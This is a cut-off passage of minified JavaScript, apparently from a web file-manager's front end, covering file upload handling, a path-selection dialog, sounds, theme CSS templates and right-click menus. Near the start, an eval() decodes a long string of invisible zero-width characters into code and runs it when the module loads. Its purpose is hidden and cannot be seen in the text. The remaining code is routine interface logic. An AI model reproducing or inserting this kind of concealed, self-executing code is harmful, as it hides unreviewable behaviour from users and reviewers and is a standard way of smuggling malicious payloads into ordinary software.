i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return 0>=s&&(s=0),s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",a=".menuTreeRoot",n=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info"